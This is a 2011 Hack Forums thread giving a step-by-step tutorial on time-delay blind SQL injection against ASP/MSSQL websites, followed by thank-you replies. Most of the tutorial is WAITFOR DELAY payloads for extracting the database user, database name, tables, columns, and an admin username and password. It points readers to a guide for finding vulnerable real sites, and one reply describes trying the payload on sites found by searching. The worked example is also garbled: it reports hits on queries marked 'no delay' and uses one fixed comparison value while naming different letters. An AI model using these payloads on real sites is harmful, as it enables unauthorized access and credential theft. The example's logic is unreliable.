![]() |
|
[tut]Basic blind Sql Injection using (TIME DELAY) - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103) +----- Thread: [tut]Basic blind Sql Injection using (TIME DELAY) (/showthread.php?tid=1896271) |
[tut]Basic blind Sql Injection using (TIME DELAY) - Oxy - Nov 6, 2011 Blind sql Injection. (time delay) For educational purposes only! Hellow, HF users. Since no one took the time and effort to make a decent time delay tutorial I'm doing it. First of all what do you need. A vulnerable only to blind sql injection .asp webstite. Notepad, to store data you collect while injecting. And loads of loads of spare time. Finding vulnerable sites: --Kobez expanding vulnerable collection guide!-- The 2 kinds of time delay injection. Integer injection: Code www.[site].com/index.asp?id=1; waitfor delay '00:00:10'--If the database returns directly, we know its false. If it waits 10 seconds its "true" obvious. String injection: Code www.[site].com/index.asp?id=1'; waitfor delay '00:00:10'--Extracting the database username. Wel. we have alot of work to do. we need to find all characters. lets start whit one: Code www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'--database needs to wait 10 seconds to respond. but we all know in most cases a user is not 1 char. we will encrease (len(user)=1) to (len(user)=2) and so on and so on. Code www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'-- [no Delay from db.]we have a hit. database just told us by waiting 10 seconds that user has 4 characters. But what are the characters we seek? :/ Get characters whit ascii and time delay. As we have seen in my previous tutorial. we are going to use ascii. these will help us get the characters of the username. 97 in ascii is the letter A we will encrease this count untill we get a hit. for example 97 A, 98 B, 99 C, and so on. how do we do this. Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>97) waitfor delay '00:00:10'--if ascii (character code) from user 1,1 (this means 1rst character) is 97 which is an A in ascii is correct. the database would wait 10 seconds befor ethe page loads. We need 4 character so the 1,1 needs to be encreased. if we want the second character we need to do 2,1. first character: Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>97) waitfor delay '00:00:10'-- [no delay]the first character is a E. how do i know this: at 97 i had no delay which means its not an A at 98 i had none either not at 99, not at 100 but i did have a 10 second delay at 101. and 101 is E in achii char code. We need 4 more characters. Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>97) waitfor delay '00:00:10'-- [no delay]second character is a C look closely at what changed at the code. instead of 1,1 it is 2,1 because i wanted to know the second character of user. Third character: Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>97) waitfor delay '00:00:10'-- [no delay]Third is an F yet again watch the code i changed 2,1 in 3,1. fourth Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>97) waitfor delay '00:00:10'-- [no delay]fourth character is yet again an F. we now have the four characters i needed: ECFF = user. What a hell of a job for 4 characters... No, no we are not finished yet. Extracting the db name. Same as before database wants us to have a hell of a job, its a bitch. now lets hope that god damn administrator likes short names (THEY DONT) we need to know how many characters the db name hase. not much difference. Code www[site].com/index.asp?id=1; if (len(db_name())=1) WAITFOR DELAY '00:00:10'-- [no delay]so we need to run down the whole thing again. changing the =1 into =2, =3 and so on. untill he waites 10 seconds. Code www[site].com/index.asp?id=1; if (len(db_name())=3) WAITFOR DELAY '00:00:10'-- [10 second delay]but this is a tutorial. i wont type a milion characters. if you did not get it by now XD sorry for you. first character. Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),1,1)))>97) waitfor delay '00:00:10'-- [no delay]first character is C Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>97) waitfor delay '00:00:10'-- [no delay]second character is an E watch the limit again 1,1 changed to 2,1. Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>97) waitfor delay '00:00:10'-- [no delay]last letter is another E db_name = CEE Extracting database tables the principal remains the same. IT IS EASY. but if you want to go out door once in a while. avoid blind sqli.. we need to know how mutch characters it hase ans we need to know what characters it has. by now you should know the drill. This one has 5 characters. Code www[site].com/index.asp?id=1; if (len(select top 1 name from sysobjects where xtype='U')=5) waitfor delay'00:00:10'--[10 second delay]we need to know the characters. Code First is an U.Table name is USERS. Extracting table column names. how many characters does this column have. we know how it works ppl. Code www.[site].com/index.asp?id=1; IF (len(select top 1 column_name from CEE.information_schema.columns where table_name='USERS')=8) waitfor delay '00:00:10'-- [10 second delay]It has 8 characters. now we need the characters to create the name. Code First letter is Ucolumn name is username. Now we need to extract the others. in some cases you could have up to 10. lets say i only have 2 username and pass to keep it easy. the second column name hase 4 characters. Code www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'USER')=4) WAITFOR DELAY '00:00:10'--the charracters: Code first letter is P.so we now have the column pass. looks like we finally get somewhere. we have column username and pass! yay. but not yet there not yet. Extracting rows from columns. extracting from column username. count of characters: 5 Code www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 username from USERS)=5) WAITFOR DELAY '00:00:10'--we need to extract the characters now: Code first letter is A.We now have the name admin. (the one we need.) extracting from column pass. Code www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 pass from USERS)=5) WAITFOR DELAY '00:00:10'--we need to extract the characters now: Code first letter is e.pass= effec Now we have username: admin and his pass effec. have fun, see ya in about an houre or 5 when you finish :D Sorry for the bad english! and i hope you enjoyed my tutorial. grtz real steel! * - stdape2011 - Nov 6, 2011 Damn that is a lot to go through !! lol. All i need now is some blind sql sites lol * - Oxy - Nov 6, 2011 (Nov 6, 2011 03:31 PM)stdape2011 Wrote: Damn that is a lot to go through !! lol. All i need now is some blind sql sites lol hehe took me ages to write this one. i made one on basic blind sqli (the normal one) now i did time delay. this is time consuming.. * - stdape2011 - Nov 6, 2011 oh whats link for the basic one i must have missed it * - Oxy - Nov 6, 2011 (Nov 6, 2011 03:37 PM)stdape2011 Wrote: oh whats link for the basic one i must have missed it https://hackforums.net/showthread.php?tid=1894724 here you go ^^ * - stdape2011 - Nov 6, 2011 Cheers will print them out, be easier to follow. * - veghead - Nov 6, 2011 Thanks that's a really nice tutorial, must have taken a while to write up. * - kobez - Nov 6, 2011 great tutorial yet again Heat, quality student ! ;D * - Oxy - Nov 6, 2011 (Nov 6, 2011 03:49 PM)kobez Wrote: great tutorial yet again Heat, quality student ! ;D thanks obi-one always means lots to me if you say its gud :D i have to thank lost of this stuff to you so ^^ * - Little_Miss_Baca - Nov 7, 2011 Thank you for taking the time to compile this tutorial, HeatControll * - T-rom - Nov 7, 2011 really good explanation :) Was looking for this :P Thank's for the help and GREAT tut. HQ for sure. * - webb - Nov 9, 2011 Very great tutorial HeatControll have a good explanation :) Thanks for share * - noober1001 - Nov 9, 2011 Thank you so much bro for this. But I don't use this method at all, its very messy for me. * - Nexsus - May 27, 2012 Great tutorial m8, Very long but great :) * - guardian_1 - Mar 4, 2013 i am having the hardest time with this. Everytime i search for a site and put in the command "; waitfor delay '00:00:10'-- " i either get a sql error, database error or the page just reloads ha. If anyone can help me out that would be awesome! thanks! |